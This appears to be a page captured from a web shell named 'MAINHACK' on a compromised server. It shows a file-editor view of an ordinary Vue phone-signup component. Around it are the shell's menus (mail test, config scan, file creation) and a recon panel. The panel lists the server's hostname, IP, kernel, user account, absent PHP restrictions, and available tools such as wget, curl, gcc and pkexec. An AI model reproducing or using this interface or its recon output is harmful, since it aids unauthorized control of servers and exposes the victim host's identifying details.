[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SignupPhoneComponent.vue
<template> <LoadingComponent :props="loading"/> <section class="pt-8 pb-16"> <div class="container max-w-[360px] py-6 p-4 sm:px-6 shadow-xs rounded-2xl bg-white"> <h2 class="capitalize mb-6 text-center text-[22px] font-semibold leading-[34px] text-heading">{{ $t('label.lets_get_started') }} </h2> <form @submit.prevent="save"> <div class="mb-6"> <label for="phone" class="text-sm capitalize mb-1 text-heading"> {{ $t('label.mobile_number') }} </label> <div :class="errors.phone ? 'invalid' : ''" class="w-full h-12 rounded-lg border px-4 flex items-center border-[#D9DBE9]"> <div class="w-fit flex-shrink-0 dropdown-group"> <button type="button" class="flex items-center gap-1"> {{ flag }} <span class="whitespace-nowrap flex-shrink-0 text-sm">{{ props.form.code }}</span> <input type="hidden" v-model="props.form.code"> </button> </div> <input id="phone" v-model="props.form.phone" v-on:keyup.enter="save" v-on:keypress="phoneNumber($event)" type="text" class="pl-4 text-sm w-full h-full text-heading"> </div> <small class="db-field-alert" v-if="errors.phone"> {{ errors.phone[0] }} </small> </div> <button type="submit" class="w-full h-12 text-center capitalize font-medium rounded-3xl mb-6 text-white bg-primary"> {{ $t('label.next') }} </button> <div class="flex items-center justify-center gap-2"> <span class="text-base text-[#6E7191]">{{ $t('label.already_have_an_account') }}</span> <router-link :to="{ name: 'auth.login' }" class="text-base font-medium text-primary"> {{ $t('label.login') }} </router-link> </div> </form> </div> </section> </template> <script> import appService from "../../../services/appService"; import askEnum from "../../../enums/modules/askEnum" import alertService from "../../../services/alertService"; import LoadingComponent from "../components/LoadingComponent"; export default { name: "SignupPhoneComponent", components: {LoadingComponent}, data() { return { loading: { isActive: false, }, props: { form: { phone: "", code: "", }, }, flag: "", country_code: "", errors: {}, phone_verification: "", }; }, mounted() { this.loading.isActive = true; this.$store.dispatch('frontendSetting/lists').then(res => { this.defaultCountryCode = res.data.data.company_country_code; this.$store.dispatch('frontendCountryCode/show', this.defaultCountryCode).then(res => { this.props.form.code = res.data.data.calling_code; this.country_code = res.data.data.calling_code; this.flag = res.data.data.flag_emoji; this.loading.isActive = false; }).catch((err) => { this.loading.isActive = false; }); this.loading.isActive = false; }).catch((err) => { this.loading.isActive = false; }); }, computed: { countryCode: function () { return this.$store.getters['frontendCountryCode/show']; }, setting: function () { return this.$store.getters['frontendSetting/lists']; } }, methods: { phoneNumber(e) { return appService.phoneNumber(e); }, save: function () { try { this.loading.isActive = true; this.$store.dispatch("frontendSignup/otp", this.props.form).then((res) => { this.loading.isActive = false; alertService.success(res.data.message, 'bottom-center'); if (this.setting.site_phone_verification === askEnum.NO) { this.$router.push({name: "auth.signupRegister"}); } else { this.$router.push({name: "auth.signupVerify"}); } this.props.form = { phone: "", code: this.country_code, }; this.errors = {}; }).catch((err) => { this.loading.isActive = false; this.errors = err.response.data.errors; }); } catch (err) { this.loading.isActive = false; alertService.error(err); } }, }, } </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.66 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002